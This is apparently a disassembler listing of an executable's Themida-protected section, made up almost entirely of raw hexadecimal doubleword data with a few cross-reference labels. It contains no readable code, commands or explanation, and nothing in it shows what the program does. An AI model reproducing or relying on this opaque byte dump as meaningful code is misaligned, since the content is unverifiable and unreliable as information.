516C1E2Fh, 169BF5E1h, 0C18B8B9Ch, 900DED94h dd 7E3DF42h, 9310719Ch, 2C93FE16h, 0BDFC901Dh, 0AF189Dh dd 24F40000h, 0ABB55FC7h, 0C9FD6C34h, 3FC3B0E6h, 59DAC7CFh dd 37B4ADE9h, 39BAF7C7h, 6F5221C9h, 1086F50Ch, 18DE849h dd 4A200F7Fh, 0E4FA6AC9h, 939A2F3h, 0A3226BA7h, 250A0333h dd 0C0802645h, 565CE90h, 0E45FF595h, 169EA8B6h, 4B687647h dd 0BC9E77E7h, 9185F577h, 0DD5DCEBCh, 2A6A906Dh, 0F7FDB7D4h dd 16F7Bh, 474D200h, 0CF3FC271h, 0C7CF926h, 0C636BA69h dd 1282002Fh, 2C672483h, 68B75ECEh, 31FE9707h, 9D9263D3h dd 0FCC7AE1Eh, 2D2E73D2h, 4CCD169Dh, 56C624F0h, 0AB1370BFh dd 8E3BC8ECh, 78A1244Dh, 310868Ah, 63321D32h, 57C724D5h dd 89F1525Fh, 85A19C0Ah, 660F20BDh, 8E508040h, 6056C625h dd 0AB97B6Fh, 169C8021h, 0E656D5DEh, 0BB839404h, 0C108BBA1h dd 431690E3h, 0DF1D8A9Eh, 0C9DA4685h, 2292F021h, 592F6E53h dd 0C2411690h, 514B8C52h, 73C37898h, 0E252B1E2h, 642FDBB4h dd 59DF6BCFh, 0BBF8C6E9h, 0F422C838h, 3AAA092Ah, 3B6703FCh dd 0BCh, 0B1D86B71h, 3C169089h, 0D1044C6Bh, 6955DAA9h dd 0BAB9981h, 851F4EAh, 0F31086F2h, 0F25E8322h, 0C1D1086h dd 60A81B23h, 0D16A2CEh, 71F5CB44h, 9D238FD2h, 7A5D6E16h dd 44748035h, 5BFB695Bh, 0CCCAE5CAh, 0E252B102h, 4003DBB4h dd 169D9319h, 0FA37D3E4h, 1D8DED79h, 6A0B2419h, 0D0C636B5h dd 0ABF15975h, 7A65CC2Eh, 977EEE4Dh, 7BBB2B88h, 600DC491h dd 6851CDB0h, 9CAAEF56h, 40510EC2h, 970769AAh, 0BD9AA49Fh dd 1FA6410Ch, 0EC2AEFAh, 0E5A7B081h, 72E2609Fh, 86644B44h dd 94EA40Bh, 2E67CDC4h, 6DCEC5BCh, 26C4B9FDh, 7F1686E5h dd 0B3E353B0h, 34Fh, 4B2F6B00h, 5C5ACA24h, 4274E447h, 3363D331h dd 4D49B93Eh, 3066D654h, 474FBF43h, 3066D65Ah, 6452C243h dd 3C7AEA4Fh, 306B6878h, 34890000h, 0E1895124h, 4C181h dd 0E9810000h, 4, 5C240C87h, 50242C89h, 405E089h, 2D000000h dd 4, 5C240487h, 68240C89h, 61BDC59h, 81242C8Bh, 4C4h dd 0C8B5400h, 4C48124h, 52000000h, 16B8BE56h, 0F6817B51h dd 7B5116B0h, 15EF289h, 5A2A89CAh, 592434FFh, 0FF04C483h dd 815D2434h, 4C4h, 9C9CE900h, 42E0FFF9h, 0ABFC9EE9h, 0DE83084h dd 9DE983DFh, 1BE142B8h, 0FFC50306h, 65AB9EE0h, 0CFB2E163h dd 0D8EBD744h, 8E6B85Fh, 0D791828h, 0E38D8D5Ch, 6A061BE2h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 19042444h dd 45000000h, 6B7DC355h, 302A4E9Eh, 915BD03h, 95090615h dd 6152ED9h, 27218D89h, 6A0615h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1D0424h, 55450000h, 9EC8F7C3h, 5899C50Dh dd 0E8556317h, 10h, 0D2111F3h, 0A076A1Eh, 0F354577Bh, 95187898h dd 0FE9h, 8FBE2600h, 0CD7CA9ABh, 58FC6515h, 63D328A0h dd 0CD85C75Eh, 0E8061504h, 6A000058h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 19042444h, 40000000h, 70AAC350h dd 0FA40F039h, 111585C7h, 615h, 8D890000h, 61528B1h, 1D45B5FFh dd 95890615h, 61518DDh, 2C995FFh, 6A0615h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 2185E4C3h dd 532D40B9h, 6A7BFDC1h, 2195FF00h db 2Eh, 15h word_5E7D12 dw 8B06h ; DATA XREF: Themida_:0057C2E0o dd 0B10BEBC0h, 0F46A2D21h, 0AAF4FADAh, 0EE87E6Dh, 3B000000h dd 0BD67A944h, 6B90E018h, 53FC66A3h, 0C3805F86h, 55C781DDh dd 8B00006Fh, 0E9D233DFh, 0Eh, 3B62F988h, 13A3C627h, 5C8487C6h dd 348B10CBh, 0D9853117h, 8106152Eh, 0AEA33FC6h, 7E946h dd 0C19A0000h, 77796646h, 15F68127h, 894D0083h, 1528A18Dh dd 1FEE8106h, 0F266147h, 68Fh, 0A59D8900h, 56061518h, 28E3B866h dd 6617048Fh, 850FCB8Bh, 14h, 0FE9h, 0B7503400h, 7072DACh dd 647B8181h, 0A44FE0FDh, 0D859EA81h, 9D8906FEh, 6150829h dd 0D855C281h, 852906FEh, 6150C5Dh, 9170FA81h, 850FFFFFh dd 0FFFFFF7Eh, 13E9h, 73F00200h, 2A70E526h, 9E064E62h dd 3979C0E3h, 9BD2B27Fh, 0E49D8D8Dh, 6A061Bh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 0D9CCBEC3h dd 4DBAB54Ah, 58B0FC2h, 0BA000000h, 16C2F2C2h, 27218D89h dd 0E6800615h, 0CD85C7FCh, 0C0061504h, 6A000074h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h dd 5FFEC353h, 1F2BB3BCh, 816686EBh, 66B00BCFh, 85C7D88Bh dd 6151115h, 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 97C35040h dd 858970A4h, 61505DDh, 0FFE9DC80h, 1523E1B5h, 5AD88006h dd 2C995FFh, 6A0615h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1B0424h, 52420000h, 21935EC3h, 0BE13BBFFh, 0FF006AD2h dd 152E2195h, 0EBC08B06h, 0C92CB47Ch, 0F2EC95E3h, 9537D659h dd 254A6968h, 0B2705D92h, 89C7628Dh, 794F6B8Ch, 6D37BE1Eh dd 0C52D0A89h, 82B305F9h, 34CBA0B1h, 0D912BE53h, 0C7A74BE0h dd 55890EB4h, 0A4EC67A2h, 0DD9D39F7h, 0C50400F2h, 0B53AABEAh dd 9DBE44AAh, 71AF50FCh, 3BE85EC2h, 0B1B2EC55h, 0ADD80670h dd 4C1A1CCDh, 9FB4662Bh, 901315CBh, 54F862E4h, 0A6AB5692h dd 0D8ECFB13h, 7AFFDAE3h, 9063A468h, 1EE9D4h, 5B490000h dd 1B23h, 6 dup(0) dd 52EE9h, 9C0C6A00h, 57C72AF9h, 0A41471BEh, 6EDE62D1h dd 0AA1A9887h, 0E4DFCCCBh, 0B07F1686h, 0E936DF4Fh, 0A57A1B8Bh dd 943FD646h, 17D6FBCAh, 0D495169Dh, 57C72468h, 80F0525Fh dd 0FC25A0BEh, 7F1086F2h, 960665AEh, 298A99F4h, 0A28F7DB9h dd 4CBDAD1Dh, 2A377FEFh, 4E8757C7h, 4F5A964Bh, 7AB45674h dd 0A2507FE6h, 0B3C009BCh, 9AAB1086h, 50C043F0h, 9E0E6EC5h dd 5CCC28F7h, 60D03182h, 83B15936h, 0FC7D096Eh, 0A9B58A8Ch dd 86B3F71Ah, 8AA57610h, 0CD00A98Ch, 8BEE7AFAh, 0D261341Bh dd 0AE150171h, 1086B36Eh, 87C2ED8Ch, 97A85B22h, 0E62B9AC4h dd 0F81086BFh, 3E0F0777h, 69D9B182h, 61h, 0DD624F3Dh, 2F8C7D6Dh dd 2C5B8DC7h, 7549A9FCh, 86C58BCEh, 8EA17210h, 0C6DC688h dd 88CFEE9Ch, 0EC1086C5h, 82E7624Dh, 0A97A851h, 1, 55C5241Eh dd 89F15061h, 0B5952CF6h, 377F5001h, 6FDF5C55h, 77B45627h dd 199581F1h, 6AC72B92h, 84F47B07h, 0F892BD92h, 0AF46B63Bh dd 2930380h, 0E2624F36h, 3066D656h, 4946705Fh, 0A21270A1h dd 0DE03C29Ch, 341086F2h, 0F21852B5h, 0FCCD7315h, 0AE13200Eh dd 0F53E203Eh, 3B140272h, 8659478Ah, 75152610h, 0DA4AAAB7h dd 0F161C7DCh, 248B02C5h, 2B88CABFh, 7B258C8h, 1B8BEFD8h dd 62E3D07Ah, 1FCBC4F2h, 0F52191F2h, 251181FCh, 31C1ECA3h dd 0CA772B24h, 2BDF07C6h, 0A83A2D80h, 849397h, 24A70000h dd 46B63AC6h, 8E507F50h, 91897A49h, 0C4A6620Fh, 6CDC594Ah dd 802FB62Ah, 4EBE4172h, 9B0B6F9Ch, 5DC525FAh, 38AE833Fh dd 68AE81B4h, 0B985F57Bh, 4BF920A3h, 97841086h, 9C71A515h dd 0F118ABB3h, 7C10864Bh, 0F355BFABh, 65B8913Ch, 0CB97A8D5h dd 45h, 0F1B0D401h, 0C8DAC955h, 0C3BCFA6Ah, 2416FEECh dd 7E6056C6h, 4E48B835h, 4768D855h, 960666A3h, 4B7227A0h dd 0E78EFE7Ch, 7DED4E63h, 0C524A58Dh, 0BAE26155h, 0B81086F2h dd 2EBB8E41h, 0B697A81Ah, 1, 59C924D2h, 83666F5Dh, 0C40A22DEh dd 7CBA2A8Fh, 4DBEAC83h, 54E062EEh, 4B4B64D4h, 5A595D72h dd 42C304ABh, 0F33F62E1h, 0D1BE1086h, 3A130373h, 4B5B3A15h dd 0E0637BABh, 169BFD44h, 0D5CEC8D9h, 200FE656h, 2A2B33A3h dd 82F50B54h, 0C3711911h, 93EE1B40h, 8D40E916h, 0AC49B93Ah dd 9284F477h, 2C122A1h, 1693EEDFh, 9B38959Eh, 9CAA05DBh dd 0DF9A9CB3h, 43C007B6h, 0A6F42D3h, 929DBDD1h, 122h, 0DB0BABA6h dd 0F6304003h, 0FCCD169Bh, 0FE6ED1E2h, 0E923C7B8h, 0BBDF3223h dd 0D4BADC7Eh, 93742871h, 0EDC2D316h, 3FAF0CFDh, 0FA6AC956h dd 0D444A7BCh, 3F6E27E2h, 0DABB2B88h, 0BDA062C7h, 75EA9Dh dd 4FBE0000h, 0F293B68Dh, 495A1086h, 1A4AF7A1h, 9A191A44h dd 0F2478A39h, 15261086h, 0C75503Ah, 4D9086F2h, 3D1F87E4h dd 0D693AC4Ch, 3165052Ah, 76683660h, 79148ACFh, 0CAA0716Fh dd 7914B6DBh, 5F4EB56Fh, 1C2252EFh, 59E81542h, 796FD28Bh dd 0BA9D6D06h, 0A04AE6DBh, 7935FC05h, 90AE7FEFh, 1B889CEh dd 0BA5C1B53h, 799BC60Bh, 0F694A5EFh, 6C1997h, 0ABED0000h dd 4003DB0Bh, 169C0670h, 0E9FA3C0Dh, 0A47B1A8Ah, 0FDDFD747h dd 24C636B4h, 93E75779h, 416C1D16h, 0E0B52586h, 0E8F626DAh dd 0CF3FBDF6h, 0C23A801Bh, 724310B7h, 5CCC2F44h, 5BE7495Ah dd 5E2F67D7h, 0D12C4571h, 13603561h, 0D3CF9AE3h, 6C53DA56h dd 0F8E74E77h, 6C72A256h, 9239D3D9h, 5BDFF81Ah, 0EE994AEEh dd 4D5E4228h, 0BAB84A8h, 4AAE03DBh, 302E30DAh, 0F272972Eh dd 0CF91086h, 2FB3BABh, 585E3D2Dh, 0E116A2D7h, 4FC90ED0h dd 588C5E4Ah, 8375181Dh, 96BE3FB4h, 0CA293AF4h, 0C68FBB5Ah db 84h, 0 word_5E837E dw 9F25h ; DATA XREF: Themida_:00579D60o dd 0B7741687h, 0D949A834h, 9C45C0F6h, 4F2BA41Dh, 71D2F5E8h dd 3CBF7401h, 0AF04CACCh, 0E3DCDA4Ah, 416D9CD4h, 7F6B56C8h dd 18C62E92h, 69F599D0h, 5C575F70h, 66C502ADh, 4FF6E8F6h dd 33D2840Ah, 2B4A20F1h, 8AEB77F4h, 0C231C1Ah, 8EEF440Ah dd 1A506C1Eh, 8E000000h, 84ACF550h, 3DC233D2h, 0A84253CDh dd 0B68D4F74h, 1086F293h, 7BA1495Ah, 5ACA247Fh, 74E4475Ch dd 63D33142h, 49B93E33h, 66D6544Dh, 4FBF4330h, 66D65A47h dd 52C24330h, 7AEA4F64h, 8957783Ch, 4C781E7h, 83000000h dd 3C8704EFh, 24248B24h, 4B9668h, 24048900h, 197D68h, 243C8900h dd 3D53B951h, 0BD550972h, 62BF5AABh, 0F581DDF7h, 0D30CAF57h dd 415DE909h, 5A0EE981h, 0C8894962h, 4EC8159h, 89000000h dd 4832424h, 515F0424h, 8151C189h, 7B32242Ch, 478F6058h dd 8478108h, 60587B32h, 243C8B59h, 81E28952h, 4C2h, 4C28100h dd 87000000h, 0FF5C2414h, 81582434h, 4C4h, 93E0E900h, 0B86AFFF9h dd 61BE9E7h, 0E0FFC503h, 10265175h, 2121562Eh, 4DBA888Bh dd 4B3F57ADh, 2303CEEEh, 2D99BAF9h, 4F015CD8h, 1EE0E726h dd 64CB27CCh, 7478BCA1h, 19B0304Ch, 44A20598h, 53ECAAABh dd 7BC84A10h, 3D65B4DDh, 3B5E77C7h, 68F1240Ah, 77F82C3Bh dd 3315454Fh, 66720FC9h, 0EBBF8D8Dh, 6A061Bh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 91B856C3h dd 0F91F092Ah, 661803FFh, 0BF66C78Bh, 8D89ACBCh, 6152721h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 0E3C35141h dd 4CD85C7h, 711C0615h, 852B0000h, 6150061h, 111585C7h dd 615h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1D0424h, 51410000h, 1ED247C3h, 0B1C2E2C1h, 0FFE4F3E0h dd 1533A9B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1504h, 0C3554500h, 0B5331A79h, 6150C95h, 1C984ABFh dd 0C995FF3Ah, 6A061502h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 16042444h, 46000000h, 0FE02C356h, 2585312Ah dd 6A061526h, 2195FF00h, 8B06152Eh, 0F94FEBC0h, 0A3E6C2A9h dd 77A139F3h, 0A0FC0DDFh, 0F74E152Ch, 471274B3h, 1AC5F48Bh dd 408C77Bh, 0AC97F48Dh, 2ED02C8Dh, 0E854DE78h, 1A3404C1h dd 7CF98AF4h, 5E52DD3Dh, 6708A0F8h, 0BA8A9792h, 692826ACh dd 4C790D0Ah, 0B3AD0ED0h, 682132AAh, 14E80E35h, 9A000000h dd 0E08815Ch, 0BC1D6995h, 505F8249h, 0DB59E1C8h, 0E9C53FB1h dd 7, 45D513C8h, 5AFFEF2Fh, 2D21BD8Bh, 0C2810615h, 5C4Ch dd 5E8h, 65A1D700h, 85890080h, 615035Dh, 6859h, 58FC0000h dd 8B02348Bh, 1521098Dh, 0DF68106h, 66117836h, 8189ACB9h dd 30D4DEEh, 0E0F7807Dh, 0CBCBC681h, 890F1CC9h, 0Dh, 5E8h dd 61A7E00h, 0F88B7AA2h, 2348959h, 12E9h, 7159A700h, 0EAE7A9C4h dd 3E20835h, 822B580Dh, 0E8F68B79h, 0Ah, 0D998094h, 0B1BAC186h dd 8D8988C8h, 6150839h, 4E88359h, 0F8815B57h, 0FFFFA4A8h dd 29850Fh, 10E90000h, 0C1000000h, 58328B05h, 7F37F006h dd 52800720h, 0E9784BC3h, 23h, 83E112D6h, 0BCE889CBh, 8DEFED6Ah dd 318F643Dh, 15151D9Dh, 0FF56E906h, 2ADAFFFFh, 1567D184h dd 0E8577E57h, 0Fh, 0AC40B2F5h, 7FA13104h, 0F9B8EE6Ah dd 0E9409CB2h, 0Dh, 71975F9Fh, 527555DAh, 4EE7CD66h, 0C1815931h dd 64C2h, 107D958Bh, 0F62B0615h, 31048BFCh, 0C820Fh, 830F0000h dd 6, 27258D29h, 0E8810615h, 1F47D56Ah, 2FD8D89h, 0F0810615h dd 75CA0433h, 0ABF081F8h, 8B4CD959h, 310489F8h, 6820Fh dd 958B0000h, 6152E75h, 81D2B70Fh, 7B1297EEh, 65958B5Ah dd 81061534h, 7B1293C6h, 5D85895Ah, 8106150Ch, 0FF9C04FEh dd 1D850FFFh, 89000000h, 15028595h, 28E906h, 6DB00000h dd 0BDCEBA1Ch, 96FC7B39h, 2EE9B2D4h, 23E64277h, 76E9F2B2h dd 28FFFFFFh, 549ED13Dh, 42809728h, 4572A9C9h, 8D8D51C6h dd 61BEE7Ch, 2CDAEDB8h, 218D893Fh, 6A061527h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h dd 5CADC356h, 169D952Bh, 85C70615h, 61504CDh, 682Ch, 0BE9h dd 36E26D00h, 9975820Fh, 0BDEFDD68h, 111585C7h, 615h, 0B5030000h dd 6152479h, 2E0DB5FFh, 6A0615h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 170424h, 55450000h, 514DE3C3h, 0B8F18BDCh dd 55AFBA1Dh, 2C995FFh, 0F7810615h, 3076761Fh, 95FF006Ah dd 6152E21h, 7CEBC08Bh, 42B8D16Fh, 0A48E8B51h, 0A045BC39h dd 8AA2361Fh, 10EB21C7h, 233B6E9Dh, 25AC0F00h, 7DFA9DC4h dd 12547894h, 67E79C67h, 2F6977DBh, 973316C3h, 786617E5h dd 0B755EC26h, 0B8CA91Bh, 0D2A15AAAh, 149AA7A8h, 2D54B91Dh dd 6880BD1Fh, 930519AAh, 476E1196h, 1DEDC057h, 2EDE7298h dd 2DFBB2DEh, 0A463D86Ch, 0A09286BCh, 7D1BEBE2h, 17FD050Bh dd 0DCFBA3EEh, 0E680DBC2h, 75F47B71h, 0EF898D8Dh, 0BE66061Bh dd 8D89F3AEh, 6152721h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 16h, 0EEC35141h, 85C76128h, 61504CDh, 74B4h dd 3AD28166h, 61B5890Eh, 0C7061525h, 15111585h, 6, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h dd 370BB745h, 0FFF8F7B0h, 152921B5h, 0F5858906h, 0FF06152Eh dd 1502C995h, 74BA6606h, 0FF006A0Ch, 152E2195h, 0EBC08B06h dd 0C494F94Dh, 22A780A2h, 54680A82h, 5E153C82h, 476B64D9h dd 164BE1CAh, 0DFACD4Bh, 71FFB7E9h, 0CD6F04B2h, 36693C56h dd 88C9A304h, 7F3FCB19h, 0BB1B1978h, 21556E8Fh, 0BA6E5AA9h dd 594F4BC8h, 2FAB4549h, 23EA0DB5h, 673BA2E1h, 8D8DC7EFh dd 61BF0FCh, 2B459589h, 8D890615h, 6152721h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0A6C35646h, 10A70EEAh dd 8160BD99h, 0F82FAFEEh, 659D8907h, 61061511h, 4CD85C7h dd 5E300615h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1C0424h, 51410000h, 487704C3h, 0CA72ACFh, 55B2763Fh dd 19C9B58Bh, 85C70615h, 6151115h, 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0E0C35242h dd 0F7EA1979h, 8B01C12Fh, 15065995h, 78A0F06h, 52000000h dd 1A15F4B8h, 0B5FF5829h, 6152E0Dh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 19h, 0D4C35747h, 6095FFFBh, 0C995FFE4h dd 6A061502h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 19042444h, 40000000h, 77FDC350h, 4E005C4Bh, 0FE9h, 0D466CB00h dd 16E0EE02h, 0A1DE0F42h, 0C56EFF2Eh, 95FF006Ah, 6152E21h dd 7CEBC08Bh, 46F8532h, 4557F24Ah, 0C62586A9h, 0C4E7F331h dd 65A665D7h, 60B981CFh, 66A6C458h, 26919CD9h, 9A6FBB3Bh dd 6614F5CCh, 0D5470CEFh, 54019261h, 3EE50CF5h, 0EE0B307Dh dd 0E4672A0Fh, 9220841Bh, 0CECD578Ah, 0AD5DF18Eh, 9A42E3C0h dd 69AA961h, 66B2AB22h, 95F45BADh, 22265617h, 0E2D0700Bh dd 0D7DFDFBh, 5748EFA2h, 85E7DA3Bh, 95CA4382h, 243FCA0Dh dd 0C5EC7629h, 79B36AC2h, 0BE8h, 106D5C00h, 0F7903C0Fh dd 113451D5h, 24858589h, 15F0615h, 15054D9Dh, 2C78106h dd 6600005Fh, 0BB0369BAh, 0 dd 0FE8h, 29646700h, 79440BB6h, 0CEAA37B5h, 92CD73ADh dd 5E9h, 0FE2A5400h, 0FF5A4E82h, 0F513B34h, 685h, 8F0F00h dd 59000000h, 1F870F58h, 0E8000000h, 13h, 673CD488h, 2D7DDD96h dd 0FC2A62AEh, 6AF8B8B7h, 89B68491h, 15193595h, 0C0815906h dd 6FDC0E72h, 2CF9BD29h, 0E8810615h, 6CAC82CDh, 811EE680h dd 1F3BBBC0h, 0D38B664Eh, 0E1816650h, 48F0FA0h, 7E91Fh dd 0D2960000h, 0CF0227F7h, 0EB83F564h, 0AE804h, 736E0000h dd 3B5FD3C4h, 9BDEE982h, 1175B529h, 815A0615h, 0FFA200FBh dd 1A850FFFh, 89000000h, 1512D585h, 25E906h, 5FB0000h dd 58555F6Dh, 0CD2A3DA3h, 8329CB63h, 0A0A3B953h, 4CE95A8Eh dd 7EFFFFFFh, 0F0522747h, 382C95A3h, 0E8110AA5h, 0Ch, 0CE4CCFFAh dd 0E83E56BFh, 12F9581Bh, 8820F58h, 0F000000h, 28Bh, 81616000h dd 6246C0h, 0D6BF0F00h, 186C68h, 0C3816600h, 15F89D6h dd 1502A5BDh, 3130FF06h, 151CB18Dh, 0F08B5906h, 346AC181h dd 0B70F550Fh, 0F6E981D2h, 8B7AD5C1h, 1523959Dh, 7DF18106h dd 0B21C0726h, 9D8B5181h, 6150AC1h, 9D0B008Fh, 6152351h dd 0F04E883h, 684h, 71B50300h, 83061519h, 850F01EFh, 0FFFFFFB1h dd 6840F60h, 81000000h, 4E0DEF6h, 8B66607Eh, 0DE8B66C3h dd 8D8D6161h, 61BF415h, 16C58589h, 8D890615h, 6152721h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 36C35343h dd 30D8131Dh, 55BEE1DCh, 0F36A5B0h, 1582h, 10E900h, 504B0000h dd 0C4BC784h, 0E13D7863h, 73436134h, 85C7630Bh, 61504CDh dd 58D8h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 19h, 7AC35646h, 0DB287848h, 1585C7D6h, 61511h, 6A000000h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 19042444h dd 45000000h, 115DC355h, 0A4F320EBh, 2890F52h, 60000000h dd 0B5FF5A61h, 61533A9h, 0FFD3BF0Fh, 1502C995h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h dd 9E786E88h, 0CA4149BDh, 0FF006A5Bh, 152E2195h, 0EBC08B06h dd 6F6A364Fh, 711C1213h, 8D769851h, 71BA815Eh, 0C211A2E7h dd 14E0BC3Eh, 0C44F0063h, 38E924FFh, 0B2E0EAF8h, 486B771Dh dd 1FA41463h, 0BAD566AAh, 0D6BF4E6Dh, 48B20D0Dh, 0F0ABB8A0h dd 5EBA8C62h, 1A553150h, 8F768AABh, 61BBE5F3h, 0C2C81B78h dd 0CE8h, 97871F00h, 248B9729h, 0A2782235h, 0CE92Ch, 766A0000h dd 729E47AFh, 4AED4794h, 8B5B4541h, 1528E18Dh, 0ACC38106h dd 0E9000065h, 6, 301D95DAh, 2E68036Bh, 8A000019h, 0F605AE7h dd 381h, 5BE28000h, 0F3B8B61h, 384h, 0F38B6600h, 7BA7C781h dd 8D894528h, 6151DC1h, 0E32DF781h, 8B661E7Eh, 60F781CEh dd 8B1617C0h, 1525E585h, 8D8B5706h, 6150A6Dh, 0F080038Fh dd 0F2EB81CCh, 0E81E1C19h, 12h, 0BFAC290Ah, 6C360164h dd 0AA260EBBh, 64F81297h, 81661398h, 5EDEA1CEh, 19EEC381h dd 9E91E1Ch, 0FC000000h, 0AD2BE909h, 2576E00Eh, 1EA81h dd 850F0000h, 1Fh, 2E1D8D89h, 2AE90615h, 3B000000h, 370A1B02h dd 63D14819h, 0B69423EFh, 9A1317C8h, 8B80BFA8h, 15111985h dd 0FF5BE906h, 8DDDFFFFh, 1FFB3433h, 0EC0373BBh, 8E820h dd 0EB480000h, 0CFB3A0C9h, 0FB8B1FEFh, 3FD38058h, 5BF5C081h dd 9D8B0000h, 615254Dh, 810FD233h, 5, 0E1B83FB9h, 234FF4Dh dd 5EFEBF0Fh, 12ADBD8Bh, 0C6810615h, 2167BA2Ch, 2D1D8D8Bh dd 0F6810615h, 2FDE97AAh, 0F681CE8Bh, 4CC6A255h, 89C88B66h dd 81601034h, 2B48B6F1h, 0A595892Dh, 61061506h, 0D0D18166h dd 4EA835Ch, 16D5BD89h, 0FA810615h, 0FFFFA4B4h, 1A850Fh dd 0E9FC0000h, 2Bh, 0B50FFF15h, 7723C0EDh, 9D9C85A1h, 0AF356B82h dd 0FDB3AE4Ch, 24CDBD8Bh, 86E90615h, 0FDFFFFFFh, 22AC3641h dd 0B1337849h, 826962E7h, 889A075h, 0DC781469h, 6BDB8DA6h dd 2E863630h, 908635A1h, 4813D925h, 99053025h, 14933040h dd 81023F25h, 7863025h, 57A69998h, 0A5893023h, 9086305Eh dd 4143B5E3h, 4CC83630h, 5AD4CF0Dh, 11A234A4h, 7BD9DFFDh dd 57865590h, 9D03BD23h, 6F802857h, 8E76BBF5h, 318FF5A0h dd 166E7E23h, 49863025h, 0D42E72F2h, 46A274AEh, 650F30AEh dd 6FDE3401h, 5DA69990h, 9803BD23h, 0ED802857h, 0B07EBBF5h dd 84863035h, 428638CCh, 0A4899625h, 9086302Bh, 474F3B6Ch dd 0DB79C0A0h, 128BD9DAh, 940B3025h, 82937FBBh, 4286359Dh dd 0AC65CF25h, 8B702898h, 960BBD23h, 9C802BD3h, 94B61537h dd 8247FF0Eh, 889A075h, 0DC781469h, 6BDB8DA6h, 2E863630h dd 908635A1h, 4813D925h, 99053025h, 5E98340h, 22B9A4F3h dd 0E8000000h, 8, 0FC20CE27h, 0F04D2C5h, 8B525EF8h, 150C758Dh dd 0C6815906h, 5F6Ah, 86013EB9h, 0FA6AB83Ch, 0C0817FCFh dd 80301D46h, 8C0CE781h, 36FF53D0h, 9E85Bh, 224A0000h dd 504AB207h, 8B43A1CDh, 151C8D95h, 0EB815906h, 11F38843h dd 4C6EEB81h, 8B500B84h, 0EB8159CBh, 4E874281h, 2D698D8Bh dd 89530615h, 1507A58Dh, 0E8068F06h, 5, 0FDBB11CDh, 0F58D8BBDh dd 59061516h, 0F363EE81h, 0DE95DC5h, 0F5000000h, 0CB5798E8h dd 905E7ACDh, 92983D99h, 0F35FC681h, 1CB25DC5h, 1E881h dd 850F0000h, 0FFFFFF86h, 0A583D781h, 9E940EDh, 14000000h dd 4CBCE4h, 0 dd 7E6E9h, 2090EE00h, 0EB5BDE55h, 2898150Ah, 0E252D64Dh dd 2E9E1C13h, 685B5047h, 24FB9A0Ah, 6DC253C3h, 29F69F0Fh dd 8BB5ACAh, 55A7F46h, 6021169Dh, 0F296B6DCh, 69CA1086h dd 0EA8E1CF9h, 6121A4BAh, 0FC169C21h, 9A1E132Bh, 7713EC2Ah dd 0D646A4BDh, 3293F03Fh, 93C24E93h, 331C2D16h, 34A4062Bh dd 2494F102h, 58321DF2h, 0F666C5DEh, 3CBDF6E8h, 0C23059CCh dd 0EABB1693h, 0DDD949A9h, 6D0C0AE0h, 3ABEF3E9h, 0C2365BCAh dd 0E4B51693h, 0A3248B06h, 0A6169420h, 0E5B09F70h, 0BD4A6DD0h dd 42F39Dh, 24C70000h, 2B8856C6h, 6D6254C4h, 0B951C126h dd 9404667Bh, 0FFAEE7A2h, 1BFA6AC8h, 0A81E2386h, 1EA997h dd 247D0000h, 0E56056C6h, 1086F2B9h, 4C7B62CFh, 19977EEEh dd 2Dh, 30A0220Fh, 0B9610906h, 6056C624h, 86F2BEE5h, 0DF4FB010h dd 0F767CAD7h, 2366DDBFh, 0CA1086F2h, 6D60C7F9h, 7568D176h dd 0F580F052h, 0DB0BAB47h, 0EBFCD903h, 1695BA70h, 4E93320Ch dd 2D1086DCh, 0F74F6E1Ch, 86169C0Fh, 157081B5h, 0E263D0A5h dd 2B64472h, 9DCB0CD2h, 0CCE52C65h, 20ADF44Fh, 7F501693h dd 0BAA4BA50h, 8F87F779h, 86F675BEh, 20C5B9E4h, 0B788108Eh dd 0AA15847Fh, 2889EB48h, 0AC20749Dh, 926F71Ch, 0D95A300Dh dd 1A09EC5Ch, 88EB2B9Bh, 1CAC2031h, 0DED848AFh, 0C4F262C5h dd 0C91AC52Ch, 4A7D30D7h, 8E9A7BEBh, 73E3624Fh, 32622197h dd 2443270Ah, 866557C7h, 2673A6A2h, 2EB968A8h, 0CD000000h dd 0BCE010ABh, 0E0A864Fh, 2B1794ABh, 346FD3Fh, 0EA1086C1h dd 8D4FE3D9h, 45EDA848h, 0AE06C45h, 59C92412h, 0B5725663h dd 41h, 0E3624FD1h, 4A65D557h, 2197734Ch, 22921662h, 97181BF4h dd 4F140827h, 86F2ADF4h, 0EDF1DE10h, 55D763C4h, 0F3DCB1E5h dd 0FC20CAC3h, 0C4248D4Fh, 96BB8A54h, 551086F2h, 246EA644h dd 566359C9h, 57C72472h, 732FE45Fh, 179E108Bh, 2C9C1FA8h dd 4DAC0549h, 0E2D444C1h, 0EB28C2EDh, 121F1787h, 0B35640B0h dd 76F4D3FAh, 0C6EB6F06h, 9716F464h, 97AC9B12h, 